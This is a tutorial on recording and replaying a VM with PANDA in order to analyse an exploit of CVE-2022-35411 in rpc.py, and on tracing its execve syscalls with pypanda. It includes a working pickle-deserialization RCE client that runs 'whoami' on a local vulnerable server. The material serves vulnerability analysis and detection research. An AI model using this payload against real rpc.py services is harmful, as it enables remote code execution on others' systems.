Analyzing Python rpc.py RCE Exploit Using PANDA (Step-by-Step)

Introduction

We’ll take a look at a simple RCE vulnerability that exists in the Python rpc.py library. Then we’re going to write an exploit for it and verify that it works against the vulnerable server application. Then we’re going to record the execution of exploiting the target, which needs to be done just once. At last we’re going to replay execution as many times as we want in order to obtain which syscalls were executed. We’re going to do an in-depth analysis of commands executed with execve syscall in order to verify that the command being part of the exploit is present.

Setting up PANDA

Setting up PANDA is pretty easy. Just make sure docker is installed and then clone the panda repository and build it to get pandadev docker container. Note that it takes a while for the container to be built, so we can get a coffee in the meanwhile.

1git clone https://github.com/panda-re/panda/
2cd panda
3DOCKER_BUILDKIT=1 docker build --target=developer -t pandadev .

After the container is successfully built, we can check if panda binaries are present and working:

1docker run --rm pandadev /panda/build/i386-softmmu/panda-system-i386 --help
2docker run --rm pandadev /panda/build/x86_64-softmmu/panda-system-x86_64 --help

Booting the VM

In order to record execution of the entire VM, we first need to download the VM that we'll be running. We’ll download an Ubuntu server image and use that to showcase how to set everything up. However, alternatively we can also download officially supported PANDA image from https://panda-re.mit.edu/qcows/, which is already preset with default credentials root:root, and having a snapshot called root (important, because the snapshot was taken with root user already logged).

1wget https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img

To start the VM, we’ll use the following command, which basically just spawns a new qemu instance from downloaded image noble-server-cloudimg-amd64.img. The -m option gives VM 2GB of memory, -monitor option starts QMP on TCP port 5555 and allows external interaction with qemu by issuing QMP commands; server option enables listening mode, while nowait runs without waiting for a connection. The -nographic runs the VM in console-only mode without a graphical interface, while console=ttyS0 option redirects kernel output to serial console ttyS0 (without this we won't be able to see boot logs in nographic mode when the VM is booting).

1#!/bin/bash
2 
3docker run --rm -v $(pwd):/srv -p 5555:5555 -it pandadev \
4/panda/build/x86_64-softmmu/panda-system-x86_64 \
5-m 2048M \
6-drive file=/srv/panda_data/noble-server-cloudimg-amd64.img,format=qcow2 \
7-monitor tcp::5555,server,nowait \
8-nographic \
9-kernel /srv/panda_data/vmlinuz-6.8.0-51-generic \
10-append "root=/dev/sda1 nokaslr console=ttyS0"

The most important option is nokaslr, because without it we won't be able to set breakpoints when replaying execution; this is because KASLR randomizes the memory layout of the kernel, but we don’t want to have this enabled during recording and replaying execution. In order to disable KASRL we need to provide the nokasrl flag, which can be enabled only together with -kernel option (which takes the actual kernel to boot). For the -kernel parameter, we have two options:

• Compile custom kernel: We can compile our own kernel with custom settings, which is particularly useful when doing kernel testing. Note that -kernel parameter will override the kernel that VM is using itself, which is particularly useful during testing. This happens because qemu can bypass the bootloader (grub) and directly load the specified kernel into memory.
• Copy kernel from VM: We can also copy the kernel out of the VM itself, but we need to know the path of the kernel on the FS. We can mount the image, and look into the /boot directory to find the vmlinuz-6.8.0-51-generic kernel, then copy it to our local FS prior to unmounting the image.

1user@ubuntu24-04:~/panda_data$ sudo guestmount -a noble-server-cloudimg-amd64.img -i --ro /mnt
2user@ubuntu24-04:~/panda_data$ sudo cp /mnt/boot/vmlinuz-6.8.0-51-generic .
3user@ubuntu24-04:~/panda_data$ sudo guestunmount /mnt

‍

Another thing we need to take care of is setting the root password of the downloaded image noble-server-cloudimg-amd64.img, which we'll need when booting the VM. This sets the root password to “test123”.

1virt-customize -a noble-server-cloudimg-amd64.img --root-password 
2password:test123

 The following shows the result of setting the password:

It's also worth it to enable SSH, which can be done by executing these commands. First we're generating the SSH private/public key-pair, then we're copying the public key into the VM. We're also enabling password authentication and setting the SSH daemon to start automatically upon boot.

1$ ssh-keygen -t rsa -b 4096 -f sshimg_key
2$ virt-customize -a noble-server-cloudimg-amd64.img --ssh-inject root:file:./sshimg_key.pub
3$ virt-customize -a noble-server-cloudimg-amd64.img --edit '/etc/ssh/sshd_config.d/60-cloudimg-settings.conf:s/PasswordAuthentication no/PasswordAuthentication yes/'
4$ virt-customize -a noble-server-cloudimg-amd64.img --run-command 'systemctl enable ssh.service'

The execution of these commands can be seen below:

Now we can record execution by starting the VM with panda-system-x86_64 executable to make it ready for recording. It takes a minute for the VM to get started, but we don't need to start it every time, we can start it once and create a snapshot of an already running system, then only use the snapshot from that point onwards. This saves us the boot time, which is not super fast when using PANDA, because the entire system is emulated (we're using TCG, because PANDA doesn't work under KVM). Once the system is booted, the stdout will look like this:

We can try to login with credentials root:test123 that we've set previously. 

Now that we’re logged into the VM, we need to enable networking. To do that we’ll disable the systemd resolution and supply our own namesever in /etc/resolv.conf; next we’re running dhcpcd to get an IP address that allows us to communicate with the outside world.

1# sudo systemctl stop systemd-resolved
2# sudo systemctl disable systemd-resolved
3# sed -i 's/nameserver 127\.0\.0\.53/nameserver 8.8.8.8/' /etc/resolv.conf
4# dhcpcd ens3

One additional thing we’ll need for replaying execution is kernel symbols – this is required in order for us to load the recording and set breakpoints on kernel functions. We essentially need to run the following command. Prior to that we also need to add additional debug symbol repositories to apt, but that’s out of scope of this article (it's a common thing documented on the internet). After successfully running this command, the kernel will be present under /usr/lib/debug/boot/vmlinux-6.8.0-51-generic, which we need to copy out of the VM.

1# sudo apt install linux-image-$(uname -r)-dbgsym

‍
Note that if we do this inside of the VM itself, we won’t have enough free hard drive space to install everything, because this takes around 2GB of hard drive space, but the entire image comes with only 2GB partition. The solution is to shut down VM, extend the image with

qemu-img resize noble-server-cloudimg-amd64.img +10G‍

then boot back into the VM and resize partitions with

growpart /dev/sda 1; resize2fs /dev/sda1

This should increase the partition by 10GB to give us enough space to install kernel debugging symbols.

 Then we can create a snapshot, so that PANDA will be able to directly issue commands via the serial interface without needing manual login. We can do that by doing netcat to QMP interface and creating a snapshot with savevm root. This is useful for later when we want to boot directly into the snapshot instead of going through the boot process every time.

The downside of restoring from a snapshot is that we’ll lose everything that we did after taking the snapshot, so we may need to re-install software, copy application source code in again; it’s just something to be aware of. 

Setting Up Application Environment

When we have access to the VM, we need to install everything we want for recording. In this use-case, we'll install python3 and then record execution of a simple python application, but let's install everything first. Python3 is already installed, but we need to install the vulnerable version 6.0.0 of the rpc.py library, which can be done through the python virtual environment.

We’re using this exact version of rpc.py because the application that we'll be working with is intentionally vulnerable to remote code execution vulnerability CVE-2022-35411. We can find the exploit (https://github.com/ehtec/rpcpy-exploit/blob/main/rpcpy-exploit.py) and then try to write a simple application.

1root@ubuntu:~# sudo add-apt-repository ppa:deadsnakes/ppa
2root@ubuntu:~# apt-get update --fix-missing
3root@ubuntu:~# sudo apt install python3-venv
4root@ubuntu:~# python3 -m venv venv
5root@ubuntu:~# source venv/bin/activate
6(venv) root@ubuntu:~# pip install uvicorn requests rpc.py==0.6.0

Now write a simple server.py that is using the vulnerable rpc.py library:

1import uvicorn
2from rpcpy import RPC
3 
4app = RPC()
5 
6@app.register
7def sayhi(name: str) -> str:
8	return f"hi {name}"
9 
10if __name__ == "__main__":
11	uvicorn.run(app, interface="wsgi", port=65432)

And the following client.py, which will exploit the vulnerability and try to invoke “whoami” command on the server:

1import requests
2import pickle
3 
4HOST = "127.0.0.1:65432"
5URL = f"http://{HOST}/sayhi"
6HEADERS = {"serializer": "pickle"}
7 
8class PickleRCE:
9	def __reduce__(self):
10    	import os
11    	return os.system, ("whoami",)
12 
13payload = pickle.dumps(PickleRCE())
14requests.post(URL, data=payload, headers=HEADERS)

Next we can run the server, which starts listening on http://127.0.0.1:65432 address and afterwards start the client.py, which connects to the server and issues a whoami command that's executed on the server.

Recording Execution

Now let's start recording, then invoke client.py, which exploits the vulnerability that causes whoami command execution and then stop recording. First connect to the QMP via nc localhost 5555,where we can start recording with

begin_record /srv/python_app

After we've executed the client.py, we can stop recording with end_record.

The QMP looks like this – this actually creates two files on the filesystem, where everything is saved python_app-rr-snp and python_app-rr-nondet.log.

‍Replaying Execution

Once we've recorded an execution of the VM, we can enable the checkpoint: https://github.com/panda-re/panda/blob/dev/panda/plugins/checkpoint plugin to get time-travel debugging. We need to use the

-panda checkpoint:space=4GB

parameter to the replay command to enable checkpoint plugin.

Replay by supplying the option

-replay /srv/python_app

We also want to use -gdb tcp::1234 -S in order to stop execution during replaying so that we can attach the GDB. We can also remove most of the options, including -drive as PANDA records disk activity, so we don't need to attach a disk device to PANDA replay.

1#!/usr/bin/env bash
2 
3docker run --rm -v $(pwd):/srv \
4-p 1234:1234 \
5-it pandadev \
6/panda/build/x86_64-softmmu/panda-system-x86_64 \
7-m 2048M \
8-gdb tcp::1234 \
9-S \
10-replay /srv/python_app \
11-panda checkpoint:space=4GB

Then attach gdb to the recording, which inspects the backtrace and then continues execution with “c”. At first we tried to attach by using the vmlinux kernel, which is a stripped version of vmlinux; this is what’s installed by default in the /boot directory. However on the second attempt we used the vmlinux (notice the x instead of z as the last letter) kernel, which works fine and we’re able to get complete stack trace and after using “c” (continue execution), we start replaying previously recorded execution. We can see qemu displaying logs about replayed instructions.

 Next we can set breakpoint on the system call function do_syscall_64 and continue execution with c. 

At that point we can go back to the previous syscall with reverse-continue. Below we’re continuing execution until the next syscall, then we’re reversing back to the previous syscall, so we should see the same backtrace as in the previous picture. 

 PANDA enables additional time-travel debugging commands that we can use:

• reverse-step
• reverse-stepi
• reverse-next
• reverse-nexti
• reverse-search
• reverse-continue
• reverse-finish

Now that we have a recording we can use pypanda in order to script what happens during replaying of execution. This is an example of a script that prints statistical analysis of which system calls were executed and how many times. It also does in-depth analysis to determine the command that was executed in the recording.

1from pandare import Panda
2
3syscall_names = {
4    0: "read", 1: "write", 2: "open", 3: "close", 4: "stat", 5: "fstat", 6: "lstat", 7: "poll", 8: "lseek", 9: "mmap", 
5    10: "mprotect", 11: "munmap", 12: "brk", 13: "rt_sigaction", 14: "rt_sigprocmask", 15: "rt_sigreturn", 16: "ioctl", 
6    17: "pread64", 18: "pwrite64", 19: "readv", 20: "writev", 21: "access", 22: "pipe", 23: "select", 24: "sched_yield", 
7    25: "mremap", 26: "msync", 27: "mincore", 28: "madvise", 29: "shmget", 30: "shmat", 31: "shmctl", 32: "dup", 
8    33: "dup2", 34: "pause", 35: "nanosleep", 36: "getitimer", 37: "alarm", 38: "setitimer", 39: "getpid", 40: "sendfile", 
9    41: "socket", 42: "connect", 43: "accept", 44: "sendto", 45: "recvfrom", 46: "sendmsg", 47: "recvmsg", 48: "shutdown", 
10    49: "bind", 50: "listen", 51: "getsockname", 52: "getpeername", 53: "socketpair", 54: "setsockopt", 55: "getsockopt", 
11    56: "clone", 57: "fork", 58: "vfork", 59: "execve", 60: "exit", 61: "wait4", 62: "kill", 63: "uname", 64: "semget", 
12    65: "semop", 66: "semctl", 67: "shmdt", 68: "msgget", 69: "msgsnd", 70: "msgrcv", 71: "msgctl", 72: "fcntl", 
13    73: "flock", 74: "fsync", 75: "fdatasync", 76: "truncate", 77: "ftruncate", 78: "getdents", 79: "getcwd", 80: "chdir", 
14    81: "fchdir", 82: "rename", 83: "mkdir", 84: "rmdir", 85: "creat", 86: "link", 87: "unlink", 88: "symlink", 
15    89: "readlink", 90: "chmod", 91: "fchmod", 92: "chown", 93: "fchown", 94: "lchown", 95: "umask", 96: "gettimeofday", 
16    97: "getrlimit", 98: "getrusage", 99: "sysinfo", 100: "times", 101: "ptrace", 102: "getuid", 103: "syslog", 
17    104: "getgid", 105: "setuid", 106: "setgid", 107: "geteuid", 108: "getegid", 109: "setpgid", 110: "getppid", 
18    111: "getpgrp", 112: "setsid", 113: "setreuid", 114: "setregid", 115: "getgroups", 116: "setgroups", 117: "setresuid", 
19    118: "getresuid", 119: "setresgid", 120: "getresgid", 121: "getpgid", 122: "setfsuid", 123: "setfsgid", 124: "getsid", 
20    125: "capget", 126: "capset", 127: "rt_sigpending", 128: "rt_sigtimedwait", 129: "rt_sigqueueinfo", 130: "rt_sigsuspend", 
21    131: "sigaltstack", 132: "utime", 133: "mknod", 134: "uselib", 135: "personality", 136: "ustat", 137: "statfs", 
22    138: "fstatfs", 139: "sysfs", 140: "getpriority", 141: "setpriority", 142: "sched_setparam", 143: "sched_getparam", 
23    144: "sched_setscheduler", 145: "sched_getscheduler", 146: "sched_get_priority_max", 147: "sched_get_priority_min", 
24    148: "sched_rr_get_interval", 149: "mlock", 150: "munlock", 151: "mlockall", 152: "munlockall", 153: "vhangup", 
25    154: "modify_ldt", 155: "pivot_root", 156: "_sysctl", 157: "prctl", 158: "arch_prctl", 159: "adjtimex", 160: "setrlimit", 
26    161: "chroot", 162: "sync", 163: "acct", 164: "settimeofday", 165: "mount", 166: "umount2", 167: "swapon", 
27    168: "swapoff", 169: "reboot", 170: "sethostname", 171: "setdomainname", 172: "iopl", 173: "ioperm", 174: "create_module", 
28    175: "init_module", 176: "delete_module", 177: "get_kernel_syms", 178: "query_module", 179: "quotactl", 180: "nfsservctl", 
29    181: "getpmsg", 182: "putpmsg", 183: "afs_syscall", 184: "tuxcall", 185: "security", 186: "gettid", 187: "readahead", 
30    188: "setxattr", 189: "lsetxattr", 190: "fsetxattr", 191: "getxattr", 192: "lgetxattr", 193: "fgetxattr", 194: "listxattr", 
31    195: "llistxattr", 196: "flistxattr", 197: "removexattr", 198: "lremovexattr", 199: "fremovexattr", 200: "tkill", 
32    201: "time", 202: "futex", 203: "sched_setaffinity", 204: "sched_getaffinity", 205: "set_thread_area", 206: "io_setup", 
33    207: "io_destroy", 208: "io_getevents", 209: "io_submit", 210: "io_cancel", 211: "get_thread_area", 212: "lookup_dcookie", 
34    213: "epoll_create", 214: "epoll_ctl_old", 215: "epoll_wait_old", 216: "remap_file_pages", 217: "getdents64", 
35    218: "set_tid_address", 219: "restart_syscall", 220: "semtimedop", 221: "fadvise64", 222: "timer_create", 
36    223: "timer_settime", 224: "timer_gettime", 225: "timer_getoverrun", 226: "timer_delete", 227: "clock_settime", 
37    228: "clock_gettime", 229: "clock_getres", 230: "clock_nanosleep", 231: "exit_group", 232: "epoll_wait", 233: "epoll_ctl", 
38    234: "tgkill", 235: "utimes", 236: "vserver", 237: "mbind", 238: "set_mempolicy", 239: "get_mempolicy", 240: "mq_open", 
39    241: "mq_unlink", 242: "mq_timedsend", 243: "mq_timedreceive", 244: "mq_notify", 245: "mq_getsetattr", 246: "kexec_load", 
40    247: "waitid", 248: "add_key", 249: "request_key", 250: "keyctl", 251: "ioprio_set", 252: "ioprio_get", 
41    253: "inotify_init", 254: "inotify_add_watch", 255: "inotify_rm_watch", 256: "migrate_pages", 257: "openat", 
42    258: "mkdirat", 259: "mknodat", 260: "fchownat", 261: "futimesat", 262: "newfstatat", 263: "unlinkat", 264: "renameat", 
43    265: "linkat", 266: "symlinkat", 267: "readlinkat", 268: "fchmodat", 269: "faccessat", 270: "pselect6", 271: "ppoll", 
44    272: "unshare", 273: "set_robust_list", 274: "get_robust_list", 275: "splice", 276: "tee", 277: "sync_file_range", 
45    278: "vmsplice", 279: "move_pages", 280: "utimensat", 281: "epoll_pwait", 282: "signalfd", 283: "timerfd_create", 
46    284: "eventfd", 285: "fallocate", 286: "timerfd_settime", 287: "timerfd_gettime", 288: "accept4", 289: "signalfd4", 
47    290: "eventfd2", 291: "epoll_create1", 292: "dup3", 293: "pipe2", 294: "inotify_init1", 295: "preadv", 296: "pwritev", 
48    297: "rt_tgsigqueueinfo", 298: "perf_event_open", 299: "recvmmsg", 300: "fanotify_init", 301: "fanotify_mark", 
49    302: "prlimit64", 303: "name_to_handle_at", 304: "open_by_handle_at", 305: "clock_adjtime", 306: "syncfs", 
50    307: "sendmmsg", 308: "setns", 309: "getcpu", 310: "process_vm_readv", 311: "process_vm_writev", 312: "kcmp", 
51    313: "finit_module", 314: "sched_setattr", 315: "sched_getattr", 316: "renameat2", 317: "seccomp", 318: "getrandom", 
52    319: "memfd_create", 320: "kexec_file_load", 321: "bpf", 322: "execveat", 323: "userfaultfd", 324: "membarrier", 
53    325: "mlock2", 326: "copy_file_range", 327: "preadv2", 328: "pwritev2", 329: "pkey_mprotect", 330: "pkey_alloc", 
54    331: "pkey_free", 332: "statx", 333: "io_pgetevents", 334: "rseq", 424: "pidfd_send_signal", 425: "io_uring_setup", 
55    426: "io_uring_enter", 427: "io_uring_register", 428: "open_tree", 429: "move_mount", 430: "fsopen", 431: "fsconfig", 
56    432: "fsmount", 433: "fspick", 434: "pidfd_open", 435: "clone3", 436: "close_range", 437: "openat2", 438: "pidfd_getfd", 
57    439: "faccessat2", 440: "process_madvise", 441: "epoll_pwait2", 442: "mount_setattr", 443: "quotactl_fd", 
58    444: "landlock_create_ruleset", 445: "landlock_add_rule", 446: "landlock_restrict_self", 447: "memfd_secret", 
59    448: "process_mrelease", 449: "futex_waitv", 450: "set_mempolicy_home_node"
60}
61
62
63qcow_path = '/srv/noble-server-cloudimg-amd64.img'
64kernel_path = '/srv/vmlinux-6.8.0-51-generic'
65
66panda = Panda(
67    arch='x86_64',
68    os_version='linux-64-ubuntu:4.15.0',
69    expect_prompt='# ',
70    qcow=qcow_path,
71    mem='2G',
72    serial_kwargs={'unansi': False},
73)
74
75
76panda.load_plugin("syscalls2")
77
78def handle_exec_syscall(panda, cpu):
79    try:
80        filename_ptr = panda.arch.get_arg(cpu, 0)
81        filename = panda.read_str(cpu, filename_ptr)
82        
83        # Try to get argv
84        argv_ptr = panda.arch.get_arg(cpu, 1)
85        args = []
86        try:
87            # Read array of pointers
88            current_ptr = argv_ptr
89            while True:
90                arg_ptr = panda.virtual_memory_read(cpu, current_ptr, 8)
91                arg_ptr = int.from_bytes(arg_ptr, byteorder='little')
92                if arg_ptr == 0:  # NULL terminator
93                    break
94                arg = panda.read_str(cpu, arg_ptr)
95                args.append(arg)
96                current_ptr += 8  # Move to next pointer
97        except Exception as e:
98            args = ["<error reading args>"]
99        
100        return f"execve: {filename} {' '.join(args)}"
101    except Exception as e:
102        print(f"Error reading exec arguments: {e}")
103
104syscall_count = {}
105commands = []
106
107# Define a callback function for syscall entry using syscalls2 plugin
108@panda.ppp("syscalls2", "on_all_sys_enter")
109def all_sysenter(cpu, pc, callno):
110    syscall_name = syscall_names.get(callno, "unknown")
111    
112    # Track execve (59)
113    if callno == 59:
114        commands.append(handle_exec_syscall(panda, cpu))
115
116    #print(f"Syscall enter: {callno} ({syscall_name})")
117    if callno in syscall_count:
118        syscall_count[callno] += 1
119    else:
120        syscall_count[callno] = 1
121
122# Start the guest
123panda.run_replay("/srv/python_app")
124
125# Function to run after the replay is complete
126print("Syscall Analysis:")
127for callno, count in syscall_count.items():
128    syscall_name = syscall_names.get(callno, "unknown")
129    if count < 10:
130        continue
131    print(f"Syscall Number: {callno} ({syscall_name}), Count: {count}")
132
133print("Executed Commands:")
134for command in commands:
135    print(command)

The following is the result of executing the python script. It replays execution and provides statistical information about how many times the syscalls have been executed. At the end it also prints all commands that have been executed with execve syscall. We can see that the whoami command is also one of the commands that were executed; this command was part of our exploit.

Summary

 There are a number of things we can improve when using PANDA for recording and replaying, including but not limited:

• Ctrl-C annoyance: If we run something inside the VM and mistakenly press Ctrl-C we'll kill the entire VM and we'll need to boot it up again (or start from snapshot), which is annoying, specially if you're used to pressing ctrl-c all the time to terminate tasks we want to stop. This can be solved, but I didn't bother with this configuration.
• Boot time: The image we downloaded has a lot of services that we don't need started at boot, making boot time longer. We can disable things we won't be using such as snapd, ufw, apparmor, etc. Alternatively we can also make our own smaller image which boots really fast compared to general purpose images downloaded from the internet.
• Slowness: The execution inside a VM is slow, because the entire system is emulated (no KVM). However in the experiments we've conducted the execution speed was not terrible and it was good enough for basic tests being conducted. We can solve that by booting the image in KVM mode and installing all the prerequisites and preparing the environment in that mode; then only when we want to actually record the exploitation switch to the TCG mode.

 However there are also a lot of advantages:

• Full system-level recording: The amazing part is that the entire OS is being recorded, even the kernel part, so we can also replay the transitions from user-to-kernel mode and debug things like system calls, interrupts, etc.
• Ability to replay execution: We can exploit the vulnerability once and then replay the execution to understand what happened without needing to set up the environment again. This is very cool, because we have the recording and it can be replayed over and over again without doing anything. This has a lot of benefits for example if we're at first trying to detect the exploitation by looking at the function name first, but then we decide we also want the actual parameters; by replaying the execution we can determine all of the parameters easily.
• Scripting engine: PANDA provides a comprehensive pypanda scripting support and a ton of readily made plugins that we can use out of the box.